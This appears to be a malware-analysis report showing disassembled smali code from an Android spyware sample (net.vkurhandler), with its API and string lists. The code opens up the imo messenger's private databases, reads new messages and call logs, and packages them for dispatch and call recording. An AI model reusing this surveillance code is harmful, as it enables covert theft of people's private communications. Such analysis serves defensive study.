                    706move-object/from16 v20, v3
                    707move-object v3, v2
                    708move-object/from16 v2, v20
                    709goto/16 :goto_3b6
                    710catchall_3dd: move-exception v2
                    711move-object/from16 v20, v3
                    712move-object v3, v4
                    713move-object/from16 v4, v20
                    714goto/16 :goto_3b6
                    715catch_3e4: move-exception v2
                    716move-object v4, v3
                    717move-object v3, v10
                    718goto/16 :goto_33f
                    719catch_3e9: move-exception v3
                    720move-object v4, v2
                    721move-object v2, v3
                    722move-object v3, v10
                    723goto/16 :goto_33f
                    724cond_3ef: move-object v4, v10
                    725goto/16 :goto_104
                    APIs
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dh.a
                    • net.vkurhandler.dh.b
                    • net.vkurhandler.dh.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.dh.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.dh.k:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dh.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.dh.l:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dh.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • net.vkurhandler.dh.b
                    • net.vkurhandler.dh.m
                    • java.lang.Integer.valueOf
                    • java.lang.Boolean.valueOf
                    • java.lang.Long.valueOf
                    • java.lang.String.format
                    • net.vkurhandler.dh.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.dh.a
                    • net.vkurhandler.dh.b
                    • net.vkurhandler.dh.m
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • java.lang.String.startsWith
                    • android.database.Cursor.getLong
                    • net.vkurhandler.dh.a
                    • net.vkurhandler.dh.b
                    • java.lang.Integer.valueOf
                    • java.lang.Boolean.valueOf
                    • java.lang.Long.valueOf
                    • java.lang.String.format
                    • net.vkurhandler.dh.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • net.vkurhandler.dh.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.dh.d:Landroid/content/Context
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.MyApp.f
                    • net.vkurhandler.dh.l
                    • net.vkurhandler.MyApp.f
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/com.imo.android.imoim/databases/*
                    • 0777
                    • /data/data/com.imo.android.imoim/databases/
                    • /data/data/com.imo.android.imoim/databases/imofriends.db
                    • last_imo_update_date
                    • last_imo_call_date
                    • messages
                    • timestamp >
                    • calls_only
                    • RTImo
                    • %s,%s,%d,%s,%b,%s,%d
                    • messenger_rt_imo
                    • type
                    • sub_type
                    • date
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    • outgoing
                    • messenger_rt_imo_transmit_call
                    • call_type
                    • phone_number
                    • name
                    • duration
                    • call_id
                    • bat_level
                    • charger
                    • messenger_rt_imo_record_call
                    • audiorecord_type
                    • file_name
                    • absolute_file_path
                    Position Instruction Meta Information
                    0move-object/from16 v0, p0
                    1iget-wide v4, v0, Lnet/vkurhandler/dh;->c:J
                    3invoke-static {v4, v5}, Lnet/vkurhandler/gn;->a(J)V
                    4const/4 v5, 0x0
                    5const/4 v12, 0x0
                    6try_start_9:
                    7const-string v4, "/data/data/com.imo.android.imoim/databases/*"
                    9const-string v6, "0777"
                    10const/4 v7, 0x1
                    12invoke-static {v4, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    14const-string v4, "/data/data/com.imo.android.imoim/databases/"
                    16const-string v6, "0777"
                    17const/4 v7, 0x1
                    19invoke-static {v4, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    21const-string v4, "/data/data/com.imo.android.imoim/databases/imofriends.db"
                    23const-string v6, "0777"
                    24const/4 v7, 0x1
                    26invoke-static {v4, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    28const-string v4, "/data/data/com.imo.android.imoim/databases/imofriends.db"
                    29const/4 v6, 0x0
                    30const/16 v7, 0x11
                    32invoke-static {v4, v6, v7}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    33try_end_29: move-result-object v4
                    34try_start_2a: move-object/from16 v0, p0
                    36invoke-direct {v0, v4}, Lnet/vkurhandler/dh;->a(Landroid/database/sqlite/SQLiteDatabase;)J
                    37move-result-wide v14
                    38move-object/from16 v0, p0
                    40invoke-direct {v0, v4}, Lnet/vkurhandler/dh;->b(Landroid/database/sqlite/SQLiteDatabase;)J
                    41move-result-wide v16
                    42move-object/from16 v0, p0
                    44iget-object v5, v0, Lnet/vkurhandler/dh;->g:Landroid/content/SharedPreferences;
                    46const-string v6, "last_imo_update_date"
                    47const-wide/16 v8, 0x0
                    49invoke-interface {v5, v6, v8, v9}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    50move-result-wide v6
                    51move-object/from16 v0, p0
                    52iput-wide v6, v0, Lnet/vkurhandler/dh;->p:J
                    53move-object/from16 v0, p0
                    55iget-object v5, v0, Lnet/vkurhandler/dh;->g:Landroid/content/SharedPreferences;
                    57const-string v6, "last_imo_call_date"
                    58const-wide/16 v8, 0x0
                    60invoke-interface {v5, v6, v8, v9}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    61move-result-wide v6
                    62move-object/from16 v0, p0
                    63iput-wide v6, v0, Lnet/vkurhandler/dh;->q:J
                    64move-object/from16 v0, p0
                    65iget-wide v6, v0, Lnet/vkurhandler/dh;->p:J
                    66cmp-long v5, v14, v6
                    67if-lez v5, :cond_102
                    68const/4 v5, 0x1
                    69move v6, v5
                    70goto_60: move-object/from16 v0, p0
                    71iget-wide v8, v0, Lnet/vkurhandler/dh;->q:J
                    72cmp-long v5, v16, v8
                    73if-lez v5, :cond_106
                    74const/4 v5, 0x1
                    75move v13, v5
                    76goto_6a: if-eqz v6, :cond_ad
                    78const-string v5, "messages"
                    80sget-object v6, Lnet/vkurhandler/dh;->k:[Ljava/lang/String;
                    81new-instance v7, Ljava/lang/StringBuilder;
                    83const-string v8, "timestamp > "
                    85invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    86move-object/from16 v0, p0
                    87iget-wide v8, v0, Lnet/vkurhandler/dh;->p:J
                    89invoke-virtual {v7, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    90move-result-object v7
                    92invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    93move-result-object v7
                    94const/4 v8, 0x0
                    95const/4 v9, 0x0
                    96const/4 v10, 0x0
                    97const/4 v11, 0x0
                    99invoke-virtual/range {v4 .. v11}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    100try_end_8a: move-result-object v6
                    101const/4 v5, 0x0
                    102try_start_8c:
                    103invoke-interface {v6}, Landroid/database/Cursor;->moveToNext()Z
                    104move-result v7
                    105if-nez v7, :cond_10a
                    106if-eqz v5, :cond_ac
                    107move-object/from16 v0, p0
                    109iget-object v5, v0, Lnet/vkurhandler/dh;->g:Landroid/content/SharedPreferences;
                    111invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    112move-result-object v5
                    114const-string v7, "last_imo_update_date"
                    116invoke-interface {v5, v7, v14, v15}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    117move-result-object v5
                    119invoke-interface {v5}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    120move-object/from16 v0, p0
                    122iget-object v5, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    124invoke-static {v5}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    125cond_ac: move-object v12, v6
                    126cond_ad: if-eqz v13, :cond_f1
                    127try_start_af:
                    128const-string v5, "calls_only"
                    130sget-object v6, Lnet/vkurhandler/dh;->l:[Ljava/lang/String;
                    131new-instance v7, Ljava/lang/StringBuilder;
                    133const-string v8, "timestamp > "
                    135invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    136move-object/from16 v0, p0
                    137iget-wide v8, v0, Lnet/vkurhandler/dh;->q:J
                    139invoke-virtual {v7, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    140move-result-object v7
                    142invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    143move-result-object v7
                    144const/4 v8, 0x0
                    145const/4 v9, 0x0
                    146const/4 v10, 0x0
                    147const/4 v11, 0x0
                    149invoke-virtual/range {v4 .. v11}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    150move-result-object v7
                    151const/4 v5, 0x0
                    152goto_cf:
                    153invoke-interface {v7}, Landroid/database/Cursor;->moveToNext()Z
                    154move-result v6
                    155if-nez v6, :cond_1ee
                    156if-eqz v5, :cond_f1
                    157move-object/from16 v0, p0
                    159iget-object v5, v0, Lnet/vkurhandler/dh;->g:Landroid/content/SharedPreferences;
                    161invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    162move-result-object v5
                    164const-string v6, "last_imo_call_date"
                    165move-wide/from16 v0, v16
                    167invoke-interface {v5, v6, v0, v1}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    168move-result-object v5
                    170invoke-interface {v5}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    171move-object/from16 v0, p0
                    173iget-object v5, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    175invoke-static {v5}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    176cond_f1: if-eqz v12, :cond_f6
                    177try_start_f3:
                    178invoke-interface {v12}, Landroid/database/Cursor;->close()V
                    179cond_f6: if-eqz v4, :cond_101
                    181invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    182move-result v5
                    183if-eqz v5, :cond_101
                    185invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    186try_end_101: return-void
                    187cond_102: const/4 v5, 0x0
                    188move v6, v5
                    189goto/16 :goto_60
                    190cond_106: const/4 v5, 0x0
                    191move v13, v5
                    192goto/16 :goto_6a
                    193cond_10a: const/4 v5, 0x0
                    194try_start_10b:
                    195invoke-interface {v6, v5}, Landroid/database/Cursor;->getInt(I)I
                    196move-result v9
                    197const/4 v5, 0x2
                    199invoke-interface {v6, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    200move-result-object v10
                    201const/4 v5, 0x7
                    203invoke-interface {v6, v5}, Landroid/database/Cursor;->getInt(I)I
                    204move-result v5
                    205if-nez v5, :cond_1de
                    206const/4 v5, 0x1
                    207move v8, v5
                    208goto_11d: const/4 v5, 0x4
                    210invoke-interface {v6, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    211move-result-object v11
                    212const/4 v5, 0x5
                    214invoke-interface {v6, v5}, Landroid/database/Cursor;->getLong(I)J
                    215move-result-wide v18
                    216if-eqz v8, :cond_1e2
                    217move-object/from16 v0, p0
                    219invoke-direct {v0, v10, v4}, Lnet/vkurhandler/dh;->b(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    220move-result-object v5
                    222invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dh;->m()Ljava/lang/String;
                    223move-result-object v7
                    224goto_133:
                    225invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    226move-result v12
                    227if-eqz v12, :cond_170
                    229const-string v12, "RTImo"
                    231const-string v20, "%s,%s,%d,%s,%b,%s,%d"
                    232const/16 v21, 0x7
                    233move/from16 v0, v21
                    234new-array v0, v0, [Ljava/lang/Object;
                    235move-object/from16 v21, v0
                    236const/16 v22, 0x0
                    237aput-object v7, v21, v22
                    238const/16 v22, 0x1
                    239aput-object v5, v21, v22
                    240const/16 v22, 0x2
                    242invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    243move-result-object v9
                    244aput-object v9, v21, v22
                    245const/4 v9, 0x3
                    246aput-object v10, v21, v9
                    247const/4 v9, 0x4
                    249invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    250move-result-object v22
                    251aput-object v22, v21, v9
                    252const/4 v9, 0x5
                    253aput-object v11, v21, v9
                    254const/4 v9, 0x6
                    256invoke-static/range {v18 .. v19}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    257move-result-object v22
                    258aput-object v22, v21, v9
                    260invoke-static/range {v20 .. v21}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    261move-result-object v9
                    263invoke-static {v12, v9}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    264cond_170: const/4 v9, 0x1
                    265move-object/from16 v0, p0
                    267iget-object v12, v0, Lnet/vkurhandler/dh;->h:Landroid/content/SharedPreferences;
                    269const-string v20, "messenger_rt_imo"
                    270const/16 v21, 0x0
                    271move-object/from16 v0, v20
                    272move/from16 v1, v21
                    274invoke-interface {v12, v0, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    275move-result v12
                    276if-eqz v12, :cond_1db
                    277move-object/from16 v0, p0
                    279invoke-virtual {v0, v11, v7, v5}, Lnet/vkurhandler/dh;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    280move-result v12
                    281if-eqz v12, :cond_1db
                    283invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    284move-result-object v12
                    286const-string v20, "type"
                    287const/16 v21, 0x1
                    288move-object/from16 v0, v20
                    289move/from16 v1, v21
                    291invoke-virtual {v12, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    293const-string v20, "sub_type"
                    294const/16 v21, 0x17
                    295move-object/from16 v0, v20
                    296move/from16 v1, v21
                    298invoke-virtual {v12, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    300const-string v20, "date"
                    301const/16 v21, 0x1
                    302const-wide/32 v22, 0xf4240
                    303div-long v18, v18, v22
                    304move/from16 v0, v21
                    305move-wide/from16 v1, v18
                    307invoke-static {v0, v1, v2}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    308move-result-object v18
                    309move-object/from16 v0, v20
                    310move-object/from16 v1, v18
                    312invoke-virtual {v12, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    314const-string v18, "message"
                    315move-object/from16 v0, v18
                    317invoke-virtual {v12, v0, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    319const-string v11, "sender"
                    321invoke-virtual {v12, v11, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    323const-string v7, "peer"
                    325invoke-virtual {v12, v7, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    327const-string v5, "is_out"
                    329invoke-virtual {v12, v5, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    331const-string v5, "dialog_id"
                    333invoke-virtual {v12, v5, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    335invoke-static {v12}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    336cond_1db: move v5, v9
                    337goto/16 :goto_8c
                    338cond_1de: const/4 v5, 0x0
                    339move v8, v5
                    340goto/16 :goto_11d
                    341cond_1e2: move-object/from16 v0, p0
                    343invoke-direct {v0, v10, v4}, Lnet/vkurhandler/dh;->b(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    344move-result-object v7
                    346invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dh;->m()Ljava/lang/String;
                    347try_end_1eb: move-result-object v5
                    348goto/16 :goto_133
                    349cond_1ee: const/4 v5, 0x0
                    350try_start_1ef:
                    351invoke-interface {v7, v5}, Landroid/database/Cursor;->getInt(I)I
                    352move-result v5
                    353const/4 v6, 0x3
                    355invoke-interface {v7, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    356move-result-object v6
                    357const/4 v8, 0x5
                    359invoke-interface {v7, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    360move-result-object v8
                    361const/4 v9, 0x1
                    363invoke-interface {v7, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    364move-result-object v9
                    366const-string v10, "outgoing"
                    368invoke-virtual {v9, v10}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                    369move-result v9
                    370const/4 v10, 0x6
                    372invoke-interface {v7, v10}, Landroid/database/Cursor;->getLong(I)J
                    373move-result-wide v10
                    374const/4 v13, 0x0
                    375move-object/from16 v0, p0
                    377invoke-direct {v0, v6, v4}, Lnet/vkurhandler/dh;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    378move-result-object v14
                    379move-object/from16 v0, p0
                    381invoke-direct {v0, v6, v4}, Lnet/vkurhandler/dh;->b(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
                    382move-result-object v15
                    384invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    385move-result v18
                    386if-eqz v18, :cond_259
                    388const-string v18, "RTImo"
                    390const-string v19, "%s,%s,%d,%s,%b,%s,%d"
                    391const/16 v20, 0x7
                    392move/from16 v0, v20
                    393new-array v0, v0, [Ljava/lang/Object;
                    394move-object/from16 v20, v0
                    395const/16 v21, 0x0
                    396aput-object v15, v20, v21
                    397const/16 v21, 0x1
                    398aput-object v15, v20, v21
                    399const/16 v21, 0x2
                    401invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    402move-result-object v5
                    403aput-object v5, v20, v21
                    404const/4 v5, 0x3
                    405aput-object v6, v20, v5
                    406const/4 v5, 0x4
                    408invoke-static {v9}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    409move-result-object v6
                    410aput-object v6, v20, v5
                    411const/4 v5, 0x5
                    412aput-object v8, v20, v5
                    413const/4 v5, 0x6
                    415invoke-static {v10, v11}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    416move-result-object v6
                    417aput-object v6, v20, v5
                    419invoke-static/range {v19 .. v20}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    420move-result-object v5
                    421move-object/from16 v0, v18
                    423invoke-static {v0, v5}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    424cond_259: const/4 v6, 0x1
                    425move-object/from16 v0, p0
                    427iget-object v5, v0, Lnet/vkurhandler/dh;->h:Landroid/content/SharedPreferences;
                    429const-string v8, "messenger_rt_imo_transmit_call"
                    430const/16 v18, 0x0
                    431move/from16 v0, v18
                    433invoke-interface {v5, v8, v0}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    434move-result v5
                    435if-eqz v5, :cond_2de
                    437invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    438move-result-object v8
                    440const-string v5, "type"
                    441const/16 v18, 0x1
                    442move/from16 v0, v18
                    444invoke-virtual {v8, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    446const-string v5, "sub_type"
                    447const/16 v18, 0x18
                    448move/from16 v0, v18
                    450invoke-virtual {v8, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    452const-string v18, "call_type"
                    453if-eqz v9, :cond_36f
                    454const/4 v5, 0x2
                    455goto_285: move-object/from16 v0, v18
                    457invoke-virtual {v8, v0, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    459const-string v5, "date"
                    460const/16 v18, 0x1
                    461move/from16 v0, v18
                    463invoke-static {v0, v10, v11}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    464move-result-object v18
                    465move-object/from16 v0, v18
                    467invoke-virtual {v8, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    469const-string v5, "phone_number"
                    471invoke-virtual {v8, v5, v14}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    473const-string v5, "name"
                    475invoke-virtual {v8, v5, v15}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    477const-string v5, "duration"
                    479invoke-virtual {v8, v5, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    481const-string v5, "call_id"
                    483invoke-virtual {v8, v5, v10, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    485const-string v5, "bat_level"
                    486move-object/from16 v0, p0
                    488iget-object v13, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    490invoke-static {v13}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    491move-result-object v13
                    493invoke-virtual {v13}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    494move-result-object v13
                    496invoke-virtual {v13}, Lnet/vkurhandler/ce;->a()I
                    497move-result v13
                    499invoke-virtual {v8, v5, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    501const-string v5, "charger"
                    502move-object/from16 v0, p0
                    504iget-object v13, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    506invoke-static {v13}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    507move-result-object v13
                    509invoke-virtual {v13}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    510move-result-object v13
                    512invoke-virtual {v13}, Lnet/vkurhandler/ce;->b()Z
                    513move-result v13
                    515invoke-virtual {v8, v5, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    516move-object/from16 v0, p0
                    518iget-object v5, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    520invoke-static {v5, v8}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    521cond_2de: move-object/from16 v0, p0
                    523iget-object v5, v0, Lnet/vkurhandler/dh;->h:Landroid/content/SharedPreferences;
                    525const-string v8, "messenger_rt_imo_record_call"
                    526const/4 v13, 0x0
                    528invoke-interface {v5, v8, v13}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    529try_end_2e8: move-result v5
                    530if-eqz v5, :cond_380
                    531try_start_2eb: move-object/from16 v0, p0
                    533iget-object v5, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    535invoke-static {v5}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    536move-result-object v8
                    538invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    539move-result-object v13
                    541invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    542move-result-object v15
                    544const-string v5, "audiorecord_type"
                    545const/16 v18, 0x5
                    546move/from16 v0, v18
                    548invoke-virtual {v13, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    550const-string v5, "type"
                    551const/16 v18, 0x2
                    552move/from16 v0, v18
                    554invoke-virtual {v13, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    556const-string v5, "sub_type"
                    557const/16 v18, 0xa
                    558move/from16 v0, v18
                    560invoke-virtual {v13, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    562const-string v5, "date"
                    563const/16 v18, 0x1
                    564move/from16 v0, v18
                    566invoke-static {v0, v10, v11}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    567move-result-object v18
                    568move-object/from16 v0, v18
                    570invoke-virtual {v13, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    572const-string v18, "call_type"
                    573if-eqz v9, :cond_372
                    574const/4 v5, 0x2
                    575goto_32a: move-object/from16 v0, v18
                    577invoke-virtual {v13, v0, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    579const-string v5, "call_id"
                    581invoke-virtual {v13, v5, v10, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    583const-string v5, "phone_number"
                    585invoke-virtual {v13, v5, v14}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    587const-string v5, "name"
                    588move-object/from16 v0, p0
                    590iget-object v9, v0, Lnet/vkurhandler/dh;->d:Landroid/content/Context;
                    592invoke-static {v9, v14}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    593move-result-object v9
                    595invoke-virtual {v13, v5, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    597const-string v5, "file_name"
                    599invoke-virtual {v15}, Ljava/io/File;->getName()Ljava/lang/String;
                    600move-result-object v9
                    602invoke-virtual {v13, v5, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    604const-string v5, "absolute_file_path"
                    606invoke-virtual {v15}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    607move-result-object v9
                    609invoke-virtual {v13, v5, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    611invoke-virtual {v8}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    612move-result-object v5
                    614invoke-virtual {v5, v13}, Lnet/vkurhandler/v;->a(Lnet/vkurhandler/be;)V
                    615goto_35f:
                    616invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dh;->l()Z
                    617move-result v5
                    618if-nez v5, :cond_374
                    620invoke-virtual {v8}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    621move-result-object v5
                    623invoke-virtual {v5}, Lnet/vkurhandler/v;->c()V
                    624move v5, v6
                    625goto/16 :goto_cf
                    626cond_36f: const/4 v5, 0x1
                    627goto/16 :goto_285
                    628cond_372: const/4 v5, 0x1
                    629goto/16 :goto_32a
                    630cond_374: const-wide/16 v10, 0x3e8
                    632invoke-static {v10, v11}, Lnet/vkurhandler/gn;->a(J)V
                    633try_end_379: goto/16 :goto_35f
                    634catch_37a: move-exception v5
                    635try_start_37b:
                    636const-string v8, "RTImo"
                    638invoke-static {v8, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    639try_end_380: move v5, v6
                    640goto/16 :goto_cf
                    641catch_383: move-exception v4
                    642move-object v6, v5
                    643move-object v5, v12
                    644try_start_386:
                    645const-string v7, "RTImo"
                    647invoke-static {v7, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    648try_end_38b: if-eqz v5, :cond_390
                    649try_start_38d:
                    650invoke-interface {v5}, Landroid/database/Cursor;->close()V
                    651cond_390: if-eqz v6, :cond_101
